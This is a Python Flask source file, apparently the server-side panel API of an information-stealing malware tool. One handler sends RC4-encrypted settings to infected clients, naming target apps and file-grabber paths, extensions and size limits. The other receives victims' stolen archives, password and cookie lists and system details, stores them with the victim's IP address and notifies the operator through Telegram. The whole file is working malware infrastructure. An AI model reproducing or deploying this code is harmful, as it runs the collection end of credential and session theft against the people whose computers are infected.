#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Coded by L1ghtM3n@protonmail.com

# Import modules
from markupsafe import escape
from flask import request, jsonify
# Import packages
from core.models.reports import Report
from core.models.accounts import Account
from core.models.errors import ApiErrors
from core.modules.telegram import NotifyUsers
from core.modules.targets import GetEnabledApps
from core.modules.grabber import GetGrabberRules
from core.modules.encryption import GetEncryptionKey, RC4Cipher

""" API requests handler """
def public_api_handler(function):
    # Get account credentials
    username = escape(request.args.get("username"))
    account = Account(username, '')

    # Check if account exists
    if not account.exists():
        return jsonify({"error": True,
                        "message": ApiErrors.Login.account_does_not_exist.format(username)})
    # Init RC4 decryptor
    cipher = RC4Cipher(GetEncryptionKey(username).encode("utf8"))
    
    # Fetch encrypted user options for client
    if function == "fetch_options":
        # Get response data
        apps = ",".join(GetEnabledApps(username))
        _g_rules = GetGrabberRules(username)
        grabber_extensions = ",".join(_g_rules["extensions"])
        grabber_maxsize = str(_g_rules["max_size"])
        grabber_paths = ",".join(_g_rules["paths"])
        # Join response, encrypt and send to client
        joined = "|".join([apps, grabber_extensions, grabber_paths, grabber_maxsize])
        return cipher.Encrypt("SUCCESS:" + joined)

       # Send new report
    elif function == "send_report":
        # Get report params
        ip = request.remote_addr
        data = cipher.CryptBytes(request.data)  # Zip archive bytes
        counter = cipher.Decrypt(escape(request.args.get("counter")))
        cookies_list = cipher.Decrypt(escape(request.args.get("cookies")))
        passwords_list = cipher.Decrypt(escape(request.args.get("passwords")))
        information = cipher.Decrypt(escape(request.args.get("information")))
        # Create report
        new = Report(
            archive=data,
            counter=counter,
            passwords_list=passwords_list,
            cookies_list=cookies_list,
            information=information,
        )
        # Save
        new.SaveReport(ip, username)
        # Telegram bot
        NotifyUsers(new, username, ip)
        # Response
        return jsonify({"error": False,
                        "message": ApiErrors.Report.saved_ok})
    
    # Method does not exists
    else:
        return jsonify({"error": True,
                        "message": ApiErrors.function_does_not_exist.format(function)})
